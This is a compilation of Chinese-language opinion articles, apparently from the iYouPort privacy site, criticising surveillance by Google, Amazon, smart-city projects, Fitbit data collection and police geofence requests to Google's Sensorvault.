超人类面部识别—— 人类天然擅长识别熟悉的面孔，而明天的计算机网络会在此做得更深入。中国警察已经部署了面部识别眼镜，并在非洲和欧洲销售这种技术。这种眼镜不仅可以用来帮助识别像小偷和闯红灯，也能用来追捕人权活动家和民主抗议者。

所谓的智能城市—— 将物联网与大数据分析相结合，您可以将整个

城市的摄像机覆盖每英寸的土地，并要求使用公共服务（如公共汽车）的人需要提交生物识别 ID。一些中国餐馆已经有了“微笑支付”系统来解释面部表情。IYP 对此的分析包括《“智能城市”究竟是个什么鬼？！》更多详见分类知识列表2“智能/间谍城市”部分。

互联网分散了数据，但新的技术进步可以将其力量集中在极少数人手中。预计到2020年将有超过300亿台设备连接到互联网，每个设备都能产生新数据，那些能够控制、处理和利用信息热潮的设备将具有极大的优势。一个渴望稳定的政权可能会感到自己急需变成老大哥。

为下一次金融危机做准备需要比过去更多的思考。当恐慌的政府能够随时识别、跟踪和借记金融账户时，您如何保护自己的财富？即使您看似私密的对话和社交媒体互动正在流入自动分析算法，以便为随谁抓捕你做好准备，您如何保持思想、联想和行动的自由？

显然，作为私人财富储存和匿名交易的手段，金币和银币在这个世界上已经变得越来越更有价值。地理多样化（即 在不同国家储存财富）减少了被任何一个政府完全没收的可能性。寻找逃避新兴监控状态的方法至关重要，需要开动脑筋。

The Coming Wave Of High-Tech Authoritarianism. One of history’s hard lessons is that collapsing financial systems beget authoritarian politics…

原文

[video] 监视之城：谷歌打造的地狱世界 - iYouPort

关于谷歌-监视资本主义的创始人无处不在，无处可逃-所谓的“智能”是什么

谷歌将它描述为一个互联的、数据驱动的“未来之城”，但是它事实上只是一个 George Orwell 的噩梦成真。但很多人依旧蒙在鼓里，直到该项目的隐私专家因无法承受良心谴责而辞职。

多伦多的滨水区曾经是一个工业废弃地，但是 Sidewalk Labs – 谷歌的姊妹公司 – 希望将这片荒地变成原型“未来之城”，和其他所有老大哥的虚伪一样，谷歌辩称“数据可以帮助规划人员对城市生活的各个方面进行微观管理”。其创建者表示，计划中的 Quayside 社区将容纳 5000 人，并在三到四年内扩建至一万人。

在尽可能高效地运营社区时，Sidewalk Labs 将采用一系列创新技术。传感器负责管理街道人群和时间交通信号；摄像机监视公园和公共空间，监视者能够跟踪每辆车、行人和无人机的移动，垃圾桶监控其业主的垃圾倾倒以优化废物管理……

所有这些数据点将被输入数据库 – Sidewalk Labs 称其为“数字层”，存储在被称为“公民数据信誉”的存储库中。没有任何被监视者能拥有这些被存储的数据，只有权力能决定谁可以访问它。

这就是问题所在。Sidewalk Labs 的隐私顾问 Ann Cavoukian 要求该公司清理居民的所有个人信息数据，这是 Sidewalk Labs 同意过的要求。然而，该公司却表示，不会要求获得信托的其他各方“移除”收集到的任何数据，它只会“鼓励”收集。

“当我听到这个消息时，我说，’我很抱歉。我不能支持这个。我不得不辞职，因为你曾经承诺将隐私设计嵌入到你的运营的每个方面，你食言了“ ，隐私专家 Cavoukian 说。

不止如此。Sidewalk Labs 还允许第三方构建插入数字层的应用程序，从而可以让他们访问居民最私密的信息。你的一举一动、你的购物清单、你经常去的地方、你参加的活动、甚至你扔了什么垃圾、几点睡觉几点起床、你的一举一动，都可以成为第三方老大哥的盛宴。

辞职的隐私专家 Cavoukian 直言不讳地称该项目就是一个“监视之城”。并且，她不是唯一一个发现该计划可怕的专家。前黑莓联合首席执行官 Jim Balsillie 称这个项目为“监控资本主义的殖民实验”；TechGirls 加拿大创始人 Saadia Muzaffar 本月早些时候在 Sidewalk Labs 顾问小组中辞职，称她对该公司的不靠谱有“深切担忧”。

为什么公众会信任与谷歌相关的公司拥有自己的数据呢？谷歌已经为其用户保留了大量的数据记录。你每次浏览 Android 手机、观看每个 YouTube 视频、下载每个应用程序的数据，以及笔记本电脑麦克风和相机的声音和图像，都默认为归谷歌所有。

所有这些数据都由谷歌保存，除非政府要求谷歌交出数据 – 美国政府机构在**2018**年上半年已经完成了超过 **20,000** 次数据索取，超过 **80%** 的请求得到了满足。

也许你非常信任政府，你觉得无论政府怎么做，至少私营公司无法访问谷歌的个人数据宝库，对吧？不，你错了。谷歌在7月份告诉美国参议员，它允许应用程序开发者与营销人员共享用户数据，以便进行广告定位。

随着谷歌已经无限制地访问每个人的数字生活，Sidewalk Labs 的多伦多老大哥等越来越多的同类项目很明显也将扩展到您的物理生活中。难怪像 Cavoukian 这样的专家会辞职。

“您的个人信息，您的隐私至关重要。这不仅仅是一项基本人权。它构成了我们自由的基础，” Cavoukian 说。

我们在曾经的文章中多次提醒过中国当局对所谓的“智能城市”的痴迷，而中国根本没有隐私保护法案（虽然有些隐私法案不实用）加之中国社会普遍隐私意识薄弱，对于谷歌、IBM、微软、甲骨文等所谓的“智能城市”项目头牌老大哥来说，中国是一块顶天立地的肥肉。

但由于中国的自我封闭，对这些巨头来说有很明显的准入门槛，谷歌的审查版搜索引擎项目就是敲门砖；与此同时中国公司非常善于模仿（或者说抄袭）并且从来不会模仿道德品质，中国当局更倾向于使用本土公司开发老大哥。海康威视的活跃应该能提醒这一进程，在下面

看到：

类目：关于智能[间谍]城市

这就是我们所有人正在生活的世界，共同面对的灾难。全球权利组织一直在想办法帮助我们摆脱这个地狱，不论是技术层面、政策干预和问责制层面，还是深度调查和联合抵抗，中国的公民社会应该为这一努力做出贡献。不仅是为了民主世界，更多是为了你自己。

原文

👀亚马逊和谷歌正在将新的监视和窃听设备塞进您的居室和汽车里 - iYouPort

关于亚马逊、苹果、推特关于谷歌-监视资本主义的创始人无处不在，无处可逃-所谓的“智能”是什么

就在上周，看到很多中国用户在网络上晒他们最新购置的小米等品牌的“智能扬声器”，很多人在点赞和表达羡慕。真是不寒而栗……

去年开始，数字隐私威胁已经进入了一个新的前沿：所谓的智能扬声器家庭设备。Canalys 最近的研究证实，该市场继续强劲增长，诚然来自一个小基数：

> 全球智能扬声器市场在 2018 年第二季度增长了 187%，出货量达到 1680 万台。谷歌继续保持其上一季度的第一名，其 Google Home 出货量为 540 万; 而亚马逊在本季度出货了 410 万台 Echo 设备。虽然亚马逊和谷歌受益于欧洲和亚洲的国际市场扩张，但两者都严重依赖美国，占亚马逊全球出货量的 68% 和谷歌的 58%。

市场研究公司注意到的一个重要发展是：中国智能扬声器市场的崛起，预计它将超过美国成为此类设备的最大的市场 —— 因为中国人没有隐私意识，却有着充分的炫富和追潮流欲望。

另一个问题涉及持续多元化进入“垂直行业，如酒店、零售、医院和其他商业机构”，以及新的波形系数。后一种现象在亚马逊最近发布的不少于11款提供 Alexa 语音识别和控制的新设备或更新设备中显而易见。其中一些是对现有产品的升级。例如 Alexa 将含新的“Hunches ”：

> 当您与智能家居进行互动时，Alexa 会更多地了解您的日常使用情况，并可以感知连接的智能设备（如灯、锁、开关、插头）何时不在您喜欢的状态。例

> 如，如果你说“Alexa，晚安，”你的客厅灯亮了，Alexa 会回答“晚安。顺便说一句，你的客厅灯亮了。你要我把它关掉吗？“

虽然无疑这对懒人来说是有用的，但 **Hunches** 功能要求亚马逊基于云的人工智能系统跟踪用户随着时间的推移所做的任何事，并在他们的生活中建立一个规则模式图景。由于这可能是自动进行的，个人和迄今为止的私密生活模式很可能因此被泄露给他人，隐私有可能受到前所未有的侵入性伤害。

在涉及 Alexa 的其他公告中，亚马逊扩展了可以部署的设备和情况范围。例如，Echo Auto 是一款“八声道麦克风阵列，专为车载声学和语音识别技术而设计”，通过智能手机上的 Alexa 应用程序连接到亚马逊。为了提供导航和流量更新等功能，它自然需要能够将用户的位置发送回亚马逊，以便通过其 **AI** 系统进行处理，再次增加了亚马逊收集的有关你的日常活动的隐私信息。扩展 Alexa 用于车载使用是该公司一个意图明显的举措。

你有可能无法一眼就看出该公司推出 AmazonBasics Microwave 的原因尚，场景化的描述能给人一种“我在暗处”的错觉：

> 当按下内置的 Ask Alexa 按钮时，配对的 Echo 设备会唤醒并开始收听微波命令。只需按下并说“中等2分30秒”，AmazonBasics Microwave 即可开始烹饪。使用 Ask Alexa 按钮，无需说“Alexa”或“微波炉”。

亚马逊的 Alexa 控制的微波炉只是其更广泛的战略的开始。这是关于制造商如何使用 Alexa Connect Kit 构建语音控制设备的一个例子，“无需担心管理云服务，编写 Alexa 技能，或开发复杂的网络和安全固件”，亚马逊的宣传是这样告诉你的。亚马逊希望鼓励国内设备制造商使用内置或外置 Alexa 输入设备来增加控制能力。但是，越多人开始以这种方式控制他们的设备，就会有越多的常规语音控制变为现实；人们就越不会意识到这些用于覆盖家庭、办公室和汽车的设备都在监听和记录着你所说的一切。

尽管有这种监控的背景，公众对语音控制扬声器仍有明显的兴趣：最新数据显示，24%的美国家庭现在拥有至少一个。而且，Facebook 的新视频通话设备 Portal 还附带 Alexa 内置。

但显然，人们对这些所谓的“智能”系统的拥抱提出了一个更加重要的问题：我们能否信任提供该技术的公司？在中国，人们对智能音箱的

热切拥抱似乎比西方人更强烈，这甚至都不是一个明智与否的问题，而是基本认知。中国提供智能扬声器的主要厂商 – 阿里巴巴和小米 – 已经与当局建立了密切的关系，使用现有产品的人都知道，⚠ 他们与公司共享的任何数据也可以被中国政府访问。

Snowden 启示中最震撼的一句话被美国读者总结为：公司监视就等于政府监视。请参见我们早前做出的详细分析和例证《 公私监控伙伴关系 》。然而就如区块链专家 Martin Chorzempa 所描述的：中国人往往“更关心公司监控，而不关心政府监控”；而西方社会在此是相反的 —— 在这里看到详细解释《 中国正在使用区块链技术监视其公民？ 》。显然两种答案都是错的。

在监视领域中国政府与西方政府的不同在于，由于中国社会倾向于无条件的服从权力，于是该国政府并不担心问责制和公民监督，他们可以大模大样地承认监视、甚至宣传（或夸大）监视技术的强大能力，以此利用寒蝉效应震慑社会；而在西方，由于宪法和公民社会的制约，同样的监视绝大多数时候只能秘密进行，当局会拼命地掩盖自己的行为，生怕被曝光。

毫无疑问，亚马逊正在使用 Alexa 从设备中收集大量的个人数据。这是因为所有繁重的工作都是由亚马逊的“云”计算中心完成的，因此必须能够访问智能扬声器收集的所有私密信息。该公司坚称，它不属于美国国家安全局臭名昭著的棱镜监视计划的一部分，该计划令美国政府可以直接访问许多领先技术公司持有的所有用户隐私数据。

但鉴于一系列关于亚马逊和军方合作的事实被曝光，该公司自己的宣传稿还值得信任吗？至少必须知道，由于亚马逊的人工智能系统会定期收集庞大的高度个人化的隐私数据，因此它对当局的价值只会迅速增加，它对老大哥的诱惑力会不断增强。目前可以说还处于智能扬声器领域的早期阶段，但对于隐私权的捍卫，此事已经迫在眉睫。毕竟，我们的隐私已经面临着诸如面部识别等热门新技术的严重威胁；人权几乎无法再承担更多的挑战。

原文

Google买下了Fitbit，这对您的数据隐私意味着什么？ - iYouPort

关于谷歌-监视资本主义的创始人

法律总也跟不上技术，这是最严重的问题之一。因为法律的构建来自于技术引发出的问题，是问题出现之后才酝酿法律而不是作为预防；在法律酝酿的同时技术又继续进步了，结果是，法律出台的那天就已经过时... 于是，您很难指望法律保护您的利益，至少目前仍不行

「图」

「图」

A visitor uses a Fitbit Ionic watch at the IFA Electronics Show in Berlin, Germany, September 1, 2017. REUTERS/Fabrizio Bensch

Google 以21亿美元收购了健康追踪设备公司 Fitbit，这引发了人们对该技术巨头如何使用用户数据的担忧。

谷歌似乎预料到了这种担忧，他们在公告中宣称，“隐私和安全对公司至关重要”。Google承诺对其收集的数据保持透明，“绝不将个人信息出售给任何人”。谷歌还称为用户提供 “查看、转移或删除其数据” 的选择。

有超过**2700**万活跃用户的 Fitbit 回应了该消息。该公司在新闻稿中说：“自第一天起，严格的隐私和安全准则就已经成为 Fitbit DNA 的一部分，而且不会改变。”

但是，数据隐私专家警告说，当前的法律和法规并不能使 **Google** 和其他寡头公司信守承诺。

- 《隐私法案管不住 Facebook 和 Google》
- 《以隐私为目的的斗争如何让你变成了监视的盟友》

寡头公司如何将健康数据用于获利

位于旧金山的 Fitbit 公司生产可穿戴设备，跟踪用户走的步数、心率和睡眠质量、以及其他个人健康指标。

通过收购 Fitbit，Google 成功扩大了其已经收集的大量个人数据。

- 《谷歌的真面目—— They're always watching》

在过去的15年中，Google 购买了200多家公司，包括 YouTube、Waze 和 Nest Labs（一家制造智能家居设备的公司）。

这些收购活动 —— 除了其内部产品（例如 Google Maps 和 Google Search）以及在美国使用的超过124,000台 Android设备 —— 为 Google提供了大量可从中获利的个人数据。

想一想在Google上搜索一双鞋子之后，您可能会在各种网站上收到关于鞋子的针对性广告。因为它一直在跟踪你。

尽管谷歌表示不会将 Fitbit 数据用于广告，但隐私权倡导者警告，谷歌及其第三方合作伙伴还有很多其他可以利用数据的方式。

非营利性倡导组织"患者隐私权"的创始人 Deborah Peel 博士说："健康数据是最值钱的东西。"

制药公司可以使用这些数据来决定他们应该在哪些疾病研究中投入资源以开发有利润的新药。购买数据的第三方企业还可以推断基于健康的行为并相应地销售其产品。

Fitbit 的隐私权政策禁止共享任何可识别的信息，他们声称防止诸如保险公司拒绝患者健康保险或向患者收取更高的保险费之类的事。

但是研究表明，即使是匿名信息也可以轻松地被"重新识别"。

- 《即使数据是匿名的，您的身份仍然可以被识别》

重新识别的威胁已导致隐私权倡导者质疑创建健康应用程序的公司的动机，这些公司尚未被证明可以改善健康状况。那么他们为了什么而创立？

苹果自己的健康应用程序在2014年推出时在 Apple 和 Fitbit 之间引起了裂痕，它还通过 iPhone 和 Apple Watch 收集了有关用户健康的

大量数据，但该公司表示该数据是加密的，不用于商业目的。

但是，在iPhone上使用 Fitbit 之类的应用程序的人仍需遵守这些公司的隐私权政策（而不是Apple的隐私权政策），该政策允许数据共享。

Fitbit 用户如何改变隐私政策

联邦法规禁止Google获取 Fitbit 数据并以健康跟踪公司的隐私权政策未概述的方式使用它们。如果 Google 编辑了隐私权政策，则需要要求用户 “点击允许” 新的更改。

当然，已经购买了 Fitbit 但又不喜欢新的隐私权政策的消费者的钱就白花了。（Fitbit手表零售价为199美元）

消费者报告资深政策顾问 Dena Mendelsohn 表示：“在某个时候，科技公司似乎在说，‘如果您对此有疑问，那就不要使用它。”

隐私权专家和业务观察者表示，Google不太可能大刀阔斧地改变 Fitbit 的隐私权政策，因为它不想失去其核心客户群。如果政策确实发生变化，Google仍可以允许其客户在“同意”的同时选择退出某些数据收集和共享做法。

法律怎么总是跟不上技术

消费者报告、患者隐私权和其他权利团体都表示，在数据收集和共享方面，科技公司拥有太多的回旋余地。他们主张制定更严格的联邦隐私法。

Mendelsohn 表示：“如果没有基准法律，消费者就必须依赖其所参与的任何公司的政策惯例。”

非营利组织“未来隐私论坛”（Future of Privacy Forum）的政策负责人 John Verdi 说，联邦法律对通过应用程序收集的健康数据的限制仍然少于对医院使用的医疗设备的限制。

如果公司违反自己的隐私政策或以有害方式使用数据，则联邦贸易委员会可以对其处以罚款。美国联邦贸易委员会（FTC）今年早些时候因滥用用户的个人信息而对 Facebook 处以创纪录的50亿美元罚款 —— 尽管与该公司因滥用该服务而可能赚到的钱相比，该罚款的数字简直太毛毛雨了。

- 《50亿美元的惩罚只能令 Facebook 欣喜若狂》

Google 也正在被调查潜在的违反反托拉斯法和可能侵犯消费者隐私的行为。

许多立法者对 Google 收购 Fitbit 作出了回应，呼吁对现有隐私法规进行更严格的执行。但是，迄今为止，立法者之间尚未就如何最好地应对迅速变化的技术前景达成共识。

“立法本质上是一刀切的”，戴维斯·赖特·特赖恩（Davis Wright Tremaine）律师事务所的合伙人、联邦贸易委员会的前隐私事务官员 Helen Goff Foster 说，“但是，如何提出在发布之日尚未过时的正确法规？在隐私方面，我们还没有弄清楚。”○

Google bought Fitbit. What does that mean for your data privacy?

原文

Google地图中启用的新隐身模式并不会保护你的隐私 - iYouPort

关于谷歌-监视资本主义的创始人

不要误会，在Google地图中启用新的隐身模式不会像听起来那样使您隐身。

「图」

「图」

也许是为了回应人们对数字行为跟踪（尤其是位置跟踪）日益增长的担忧，Google引入了大量所谓的 “隐私保护措施”。

其中包括：一种新的 Google 隐身模式，该模式号称可防止 Google 保存某些类型的数据、并从其 Maps 应用中删除个人化的设置。

但是，请不要以为它会使您的动作无法被追踪。

该公司在博客中写道；它基于2008年首次推出的 Chrome 浏览器和去年早些时候推出的 YouTube 应用的隐身模式。

但是，与这些前辈一样，重要的不是了解隐身模式的 “好处”，而且要了解其局限性。

启用该新功能将阻止特定设备生成的数据显示在您的Google位置历史记录中。如果您要通过Google地图与某人共享位置，则该设备会在激活时暂停有关该设备位置的更新。地图隐身模式还会停止与应用程序有关的通知和所谓的个性化。

但是，它并不能在所有设备上提供保护。

当您打开“地图隐身模式”时，会出现一条警告：“在地图中打开隐身模式不会影响互联网提供商、其他应用程序、语音搜索、和其他Google服务使用或保存您的活动的方式。”

这意味着“地图隐身模式”不会采取任何措施来屏蔽或匿名化您向外部世界展示的网络访问量 —— 仅仅是减少了您在自己的Google帐户中浏览地图的记录，并提供了一种暂停与其他Google地图用户共享位置信息的方法。

同样，Chrome 的所谓隐身模式也无法阻止网站、您的雇主或互联网服务提供商看到您的浏览历史。

Google Maps产品经理 Marlo McGriff 称：“我们希望在如何管理 Google Maps 数据方面给人们更多选择和控制权，并且我们知道有时您可能不希望自己的活动与真实身份联系在一起，例如，假设您与其他人共享设备 —— 您可能不希望他们知道您最近搜索了附近的订婚戒指商店。”

现在您知道它是干什么的了？是的， —— 仅仅在您偶尔在去洗手间或从冰箱里拿啤酒时用一下它。

如果您需要的是匿名化浏览或破坏互联网服务提供商的洞察力，请考虑使用**Tor**或**VPN**。

- 尤其需要注意的是《Opsec 操作安全：在反侦察的过程中您应该注意哪些陷阱？》
- 《如何躲避监视追踪？大清洗：反侦察的第一步》
- 还要注意教训《他们是如何抓捕说真话的人？⚠灾难和教训》

要在地图中使用隐身模式，只需在屏幕的右上角（搜索栏旁边）点击您的帐户照片，然后点击打开隐身模式。

您还可以退出 Google Maps，这可以完成很多相同的事，并且无需完全在Android和IOS上注销 Google 帐户。

但是，当您执行此操作时，该应用程序仍会记录并显示诸如最近的搜索之类的内容。

而且，当您未登录时，您将无法执行诸如与其他用户共享位置信息之类的操作。

Google 的隐私权政策规定，当您未登录 Google 帐户时，该公司仍会在其服务中收集和存储有关您的浏览和行为的信息，但会将这些数据与唯一标识符而非完整帐户相关联。Google 称，隐身地图模式中的数据存储有分配给唯一标识符。该ID不与用户帐户绑定，并且在每个新会话中都会重置。

随着时间的推移，所谓的隐私调整的确会增加，看起来似乎在为用户数据接口提供 “透明性和控制力”。

但是，对于诸如位置跟踪和智能助手交互之类的问题 —— 它们就是监视资本主义的生存之本，并无法解决。

要警惕这点：

- 《以隐私为目的的斗争如何让你变成了监视的盟友》

○□

How Incognito Google Maps Protects You—and How It Doesn’t

原文

Google的自动删除工具实际上对隐私毫无价值 - iYouPort

关于谷歌-监视资本主义的创始人

监视资本家永远不会让钱吃亏。到Google删除您的活动数据时，它已经提取了大部分广告价值。

「图」

「图」

默认情况下，Google 会收集有关用户行为的大量数据，包括终身网络搜索历史记录、位置和 YouTube 观看记录。

- 《到底有多少跟踪器在盗窃你的隐私？谷歌以其惊人的跟踪量位居榜首》

在隐私方面的强烈反对和持续的监管威胁中，该公司已开始大肆宣传其最近发布的隐私工具，例如 能够自动删除他们所收集的有关您的某些数据，这些数据有助于推动其1,160亿美元的广告业务发展。

- 别被他们骗了《以隐私为目的的斗争如何让你变成了监视的盟友》

通过访问Google的活动控制页面，您可以选择清除连续三个月或18个月的这些历史数据。

该公司推出了此工具，并具有通过Google活动页面手动删除数据的功能，这通常被认为是用户控制其隐私的多种方式之一。

去年，两名 Google 产品经理在该公司的博客中写道：“您应该始终能够以最适合自己的方式管理您的数据；我们致力于为您提供最好的控制，以实现这一目标。”

实际上，即使这些自动删除工具为 **Google** 带来了良好的公关效果，

也无法为用户带来任何帮助。

专家说，到三个月时，Google已经从用户数据中提取了几乎所有潜在价值，并且从广告的角度来看，当数据使用了几个月以上时，它们几乎变得一文不值了。

数字广告公司 WPromote 付费搜索主管 David Dweck 说："长达一个月的时间都是非常宝贵的。任何数据放置长达一个月就基本变得没价值了"。

越新越值钱

Dweck 表示，在数字广告行业中，近期活动至关重要。

例如，如果您开始在 Google 上搜索房地产信息或查找房屋价格，则Google就会将您放到广告客户的"潜在购房者"类别中。

该信息对于房地产经纪人、评估师、和贷款方而言，是非常有价值的，广告定位会立即跟进，并且紧接着诸如油漆工或家电品牌之类的其他公司也会尝试跟进您的房屋购买，这些信息可能会保留一段时间。

Dweck 表示，如果广告客户可以根据目标人几个月前的活动来定位用户，这是不寻常的。

是有例外，例如，他引用电视网络针对棒球迷的例子，如果球迷一直在推特活跃，季后赛广告就会瞄准他们。但这种情况很少见。

Dweck 说："我觉得他们每三个月自动清理一次数据确实只是一项口头服务。"；"这不是任何大的改变，因为事实是，没有人真正会购买过时数据。"

此外，Dweck 说，从 **Google** 删除数据并不能阻止广告客户自己跟踪您。

如果您在Google上搜索鞋子，然后点击进入某个鞋品牌的网站，那么无论谷歌是否清除自己的数据，该品牌都会跟踪你。

该跟踪可能会与您使用的任何设备相关联，因此它会一直持续到您购买新手机或计算机。

Dweck说："一旦您在广告客户的网站上被盯上了，对我们来说90天

的有效期就无关紧要了。”

监视资本家是不会改变的

谷歌发言人只会说，它的研究表明用户偏爱三个月和十八个月的窗口期 ……就像政府说 “这是人民的意愿”。你知道这叫被代表。

还要注意的是，尽管仍然需要用户访问三个单独的网页来分别进行删除，但Google仍然允许用户手动删除其所有活动数据。

反跟踪扩展程序 Ghostery 的总裁兼产品和营销主管 Jeremy Tillman 不接受这样的说法，即 用户只希望按季度删除数据。

他认为 Google 应该提供更短的自动删除期限，或者提供不保留任何活动数据的选项。

他说：“就他们所做的一切，我认为，对于公关而言，这不过是为了让他们在受到审查时提供可靠的辩护。”

“他们不可能做任何有意义的事，因为那会威胁到其潜在的商业模式。”

Dweck 表示，即使只有24小时的活动数据，对广告客户来说也非常有价值。他仍然承认，每日的自动删除会严重影响广告客户基于搜索活动的定位能力。

他说：“如果在开始的24小时内没有抓住您，我们将不会知道您的意图是什么。如果人们在24小时内擦除数据会对我们产生很大影响，因为我们将无法在短时间内将您作为目标。”

三个月的先例

Google 建立的自动删除窗口期可能为科技行业树立了先例。

去年亚马逊也宣布了自己的自动删除工具，用于删除录制的Alexa语音命令，使用的工具与Google首次亮相的三个月和十八个月相同。（类似于 Google，Amazon 还允许用户通过其网站或Alexa应用程序手动删除其完整历史记录）

亚马逊发言人说，该公司选择了这些时间范围，以便用户可以查看自己的活动，认为父母可能希望查询孩子的Alexa命令，或客户可能希望在进行故障排除时查阅他们的语音历史记录。

与Google不同，Amazon不会直接使用Alexa活动进行广告定位。

但是，如果您使用 Alexa 在 Amazon 上购物或与其他 Amazon 服务进行交互，则该活动反过来会影响该公司在其他地方显示给你的“建议” —— 简单说它一直在追踪你。

即使您删除了相关的 Alexa 录音，Amazon 仍保留了这些数据，并且无法自动删除。

更长的保留期不仅是针对性广告的动力。他们还为科技巨头提供了更多的时间来根据用户数据训练他们的机器学习模型。

- 《亚马逊和谷歌正在将新的监视和窃听设备塞进您的居室和汽车里》

由于亚马逊、谷歌和其他公司使用人类来审查语音助手录音的准确性而受到强烈反对，这本身已成为严重的隐私问题。

- 《亚马逊向错误的人发送了约1,700 条 Alexa 录音》
- 《一起官司如何揭示了亚马逊 Alexa 的真面目？》

亚马逊承认，通过保持 Alexa 活动更长的时间，它就有更多的时间来训练其机器学习模型。

该公司表示：“客户期望 Alexa 会随着时间的推移而改善，并接受来自不同客户的真实需求对 Alexa 进行培训，有助于 Alexa 对客户的语音模式、方言、口音和词汇的变化做出正确的响应。”

但这并不能解释为什么用户无法选择是否愿意根据需要自动删除其活动。

亚马逊和谷歌都提供了控制面板，也许足以抵制类似于欧洲GDPR法规的严格规定，但他们不愿放弃任何可能影响其监视资本主义业务方式的东西。

- 《为什么说欧洲新法规反而会加强 Facebook 和Google 的霸权？》
- 《为什么隐私保护法规并没能起到作用？》
- 《从跟踪脚本数量看 Google 是 #GDPR 的最大受益人#GDPR 的最大受益人》

总之，指望监视资本家“悔改”是不可能的，人们应该学会自己保护自

己。

- 《Google 产品的替代品—完整列表》

○□

原文

与警察私通追踪你的人生轨迹 - iYouPort

关于谷歌-监视资本主义的创始人

⚠提醒任何拥有安卓手机的人注意，以及任何使用谷歌服务的人...

「图」

「图」

WEST VALLEY CITY, UT – MARCH 2: West Valley City patrol officer Gatrell hooks up a body camera recorder to his laptop computer to add an incident number to the video after he took a theft report from a construction worker with his newly-issued body camera attached to the side of a pair of glasses on March 2, 2015 in West Valley City, Utah. West Valley City Police Department has issued 190 Taser Axon Flex body cameras for all it’s sworn officers to wear starting today. (Photo by George Frey/Getty Images)

你知道五年前的此时你在哪里吗？你当时有 Android 手机吗？你可能已经忘了，但是，事实证明，谷歌知道 —— 而且它会告诉执法部门。

在一篇新文章中，“纽约时报”详细介绍了一种鲜为人知的技术，这种技术越来越多地被执法部门用来找出过去某个特定时间段某些特定地理区域内存在的所有人。

该技术正是依赖于 **Google** 从大多数 **Android** 设备以及安装了 **Google** 地图和其他谷歌应用的 **iPhone** 和 **iPad** 设备中，收集的详细位置数据。

这些数据存储在 Google 维护的数据库 “Sensorvault” 中，由于 **Google** 无限期地存储了这些数据，因此⚠ Sensorvault 包含详细的位置记录，涉及全球至少数亿台设备，可追溯到近十年前！

谷歌给执法部门的数据是如此精确，以至于一名副警察局长直接承认其“显示了整个生活全景图”。

⚠即使人们没有打电话或使用那些应用程序，数据也会被收集，这意味着它可以比手机信号塔生成的数据更加详细。

位置数据来自GPS信号、手机信号塔、附近的 Wi-Fi 设备和蓝牙信标。

谷歌辩称，“用户选择加入的 Sensorvault 数据库位置数据收集”。但是，谷歌没承认用户很难拒绝选择，许多用户可能根本不知道可以退出。

此外，⚠默认情况下，Android 设备会收集大量的其他位置数据，并且选择退出非常困难。

有了谷歌的帮忙，警方能够一次性从数十台到数百台设备中访问精确位置数据 —— 与真人联系在一起的设备，其中许多人（而且在某些情况下是所有人）与犯罪活动没有任何关系，也没有提出任何可以被怀疑的理由。

所谓的地理围栏涵盖从单一建筑物到多个街区的地理区域，以及从几个小时到一周的时间段。

据“纽约时报”和其他媒体报道，到目前为止，这项技术正在亚利桑那州、北卡罗来纳州、加利福尼亚州、佛罗里达州、明尼苏达州、缅因州、和华盛顿州的 FBI 和警察部门使用，尽管可能还有其他机构在全国各地使用它。

但是警方并没有将这种深度监视技术用于严重或暴力犯罪的调查 —— 明尼苏达州公共广播电台报道说，该技术已经被用来试图找出偷皮卡车的嫌疑人，另外还有价值650美元的轮胎。

谷歌每周最多会收到180份来自警方的数据请求，而且显然正在努力跟上当权者的需求。

时报说，警方获得访问权限的理由经常只是官员的断言，即“美国人拥有手机以及谷歌持有许多这些手机的位置数据”，这一事实在某种程度上甚至支持了逮捕令的可能原因。

执法部门似乎正在使用三步流程来了解设备持有者的姓名（在某些情况下，单一权证授权所有三个步骤）。

在第一步中，官员指定感兴趣的区域和时间段，作为回应，Google 向警方提供有关所有设备的信息，由匿名号码识别 —— 这一步可能会揭示数百个设备。

之后，官员可以将他们的请求范围缩小到更少的设备上，Google 将发布更详细的数据，⚠包括设备在原始请求区域和时间段之外的位置数据。这些数据仍然涉及多个设备，可以显示详细的行程。

在最后一步中，侦探审查行程数据以查看是否有任何设备与犯罪相关，并且他们询问用户的姓名和特定个别设备的其他信息。

由于几个原因，该技术存在严重问题。

首先，与警察使用的其他调查方法不同，警察不会从实际的嫌疑人或目标设备开始 —— 他们是从一个地点和时间段的大范围开始；这使它成为了一种捕鱼探险 —— 而这正是第四修正案旨在防止的那种搜查。

警察所拥有的唯一信息只是犯罪的发生 —— 像这样的搜索更有可能牵连到那些恰好在错误的时间错误的地点路径的无辜者。

在有争议的时间段内，该区域内的每个设备的每个所有者都成为了嫌疑人—没有任何原因，除了他们拥有与 **Google** 共享位置信息的设备之外。

其次，正如最高法院去年夏天在 Carpenter 诉美国案中所承认的那样，这样详细的行程数据可以提供“窥视一个人全部生活的私密窗口，不仅揭示了他本人的特定运动，而且还包括其家庭、政治倾向、专业、宗教信仰，和性取向。”

这正是副警长在说出谷歌位置数据“显示了整个生活模式”时所认可的。

第三，真正的犯罪者很可能甚至不包括在 Google 披露的数据中。

这一切只是始于警方的一个预感：未知的嫌疑人拥有一部手机，而谷歌收集了数据，仅此而已。听起来就很扯对吧，因为嫌疑人有可能当时并没有携带 Android 手机或没有使用谷歌应用程序。

这样的技术也揭示了我们现行的保证系统存在的重大问题。显然，“需要授权”的条件根本不足以保护人们的隐私。警方只需要一次授权就可以获得比过去更多和更详细的关于人们的信息。

在其他情况下，⚠官员甚至可以访问手机或硬盘上的所有数据；存储在 Google 帐户中的所有电子邮件（可能会追溯到数年前）；以及与社交媒体帐户相关的所有信息（包括照片、帖子、私信和联系人）。

事实上第四修正案就可以起到保护作用，即 必须 “确定地描述要搜查的地方，以及要查封的人或事物。” 然而，事实上许多法院只是橡皮图章，而不会质疑请求的广泛范围。

这种技术牵连着无辜的人，并对人们的生活产生了真正的影响。

一旦你被错误地逮捕，很可能会在你的生活、工作、财产、和今后重新站起来的机会等各方面付出代价。纽约时报说，一名男子被拘留了一个星期，而此后几个月都没能恢复过来。他失去了工作、他的汽车被扣押搜查 ……这些都是过度广泛搜查可能导致的深远影响。

注：希望本文能给安卓用户一些提示，甚至包括中国的安卓用户，鉴于谷歌对中国的奋力追求，很难保证他们与中国当局没有任何合作，中国没有独立媒体，人们很难了解实情。

在这里看到一些解决方案《喜欢 Android 但讨厌 Google 的隐私侵犯，可以怎么办？》；以及《可以采取哪些措施来阻止 Google 和其他人跟踪您的手机？》；还有/《Google 产品的替代品—完整列表》

Google’s Sensorvault Can Tell Police Where You’ve Been

原文

为什么说 Google 搜索能否成功回归中国市场根本不重要？ - iYouPort

关于谷歌-监视资本主义的创始人

